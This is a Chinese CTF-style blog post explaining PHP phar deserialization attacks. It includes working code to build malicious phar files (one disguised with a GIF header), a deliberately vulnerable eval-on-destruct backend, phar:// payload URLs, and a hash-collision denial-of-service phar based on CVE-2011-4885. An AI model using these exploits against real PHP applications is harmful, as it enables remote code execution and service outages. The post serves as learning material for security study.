Phar反序列化

Nov 12, 2018 09:54 · 186 words · 1 minute read PHP ctf

前记

phar反序列化最开始的时候在翻p神的小密圈里的文章看到的,是HITCON2017的一个考点。没多久在 BlackHat 大会上这个点又被分享出来,然后铺天盖地的都是分析这个姿势的文章,接着又有几个比赛中的题都利用了这个点。

前提条件

  • 有上传点 可以上传phar文件
  • 有操作文件的函数,且函数的参数可控。
  • 有魔术方法可以利用

漏洞原理

phar文件是一种压缩文件,在php手册中可以看到各个数据块的信息。

1111 在官方文档可以看到 Meata-data数据块,存储的是序列化后的数据。

phar文件的读取是通过phar协议读取的,在读取phar文件的时候,文件内容会转换为对象,Meata-data数据块中的内容会被反序列。

demo测试

phar文件的制作可以使用php内置的Phar类来实现。 需要注意的是一定要将php.ini中的 phar.readonly设置为off,否则无法生成phar文件。

生成phar文件的代码

<?php
class  not_useful{
var  $file = "phpinfo();";
}
@unlink("hpdoger.phar");
$test = new  not_useful();
$phar = new  Phar("hpdoger.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
// 增加gif文件头
//$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
?>

后台漏洞代码

<?php
$recieve = $_GET['recieve'];
/*写入文件类操作*/
class  not_useful{
var  $file;
function  __destruct(){
eval($this->file);
}
}
file_get_contents($recieve);
?>

paylaod

http://127.0.0.1/45.php?recieve=phar://hpdoger.phar/test.txt
or
http://127.0.0.1/45.php?recieve=phar://hpdoger.gif/test.txt

受影响的函数还有以下函数皆受影响

列表
file_get_contents file_put_contents() file() file_exists() is_file() unlink()
fopen() read_file() is_dir() is_link() parse_ini_file() copy()
stat() fileatime() filectime() filegroup() fileinode() filemtime()
fileowner() fileperms() is_executable() is_readable() is_writable() is_writeable()

实现拒绝服务攻击

来源

在安全客 看到一篇师傅的文章,实现了拒绝服务攻击。大致是这个样子。

利用了CVE-2011-4885php内核漏洞。 粘贴复制

PHP内核哈希表碰撞攻击(CVE-2011-4885)。在PHP内核中,数组是以哈希表的方式实现的,攻击者可以通过巧妙的构造数组元素的key使哈希表退化成单链表(时间复杂度从O(1) => O(n))来触发拒绝服务攻击。

PHP修复此漏洞的方式是限制通过$_GET或$_POST等方式传入的参数数量,但是如果PHP脚本通过json_decode()或unserialize()等方式获取参数,依然将受到此漏洞的威胁。

接下来的漏洞利用思路就很明显了:构造一串恶意的serialize数据(能够触发哈希表拒绝服务攻击),然后将其保存到phar文件的metadata数据区,当文件操作函数通过phar://协议对其进行操作的时候就会触发拒绝服务攻击漏洞

复现

生成phar文件的代码

<?php
set_time_limit(0);
$size= pow(2, 16);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$new_obj = new  stdClass;
$new_obj->hacker = $array;
$p = new  Phar(__DIR__  .  '/avatar.phar', 0);
$p['hacker.php'] = '<?php ?>';
$p->setMetadata($new_obj);
$p->setStub('GIF<?php __HALT_COMPILER();?>');

测试文件代码

<?php
header("content-type:text/html;charset=utf-8");
set_time_limit(0);
$startTime = microtime(true);
file_exists("phar://avatar.phar");
$endTime = microtime(true);
echo  '执行时间: '.($endTime - $startTime).  ' 秒';

输出结果

执行时间: 28.498549938202 秒

师傅好强,我好菜….

师傅们的文章

https://www.anquanke.com/post/id/157439#h2-2

https://paper.seebug.org/680/#22-demo

tweet Share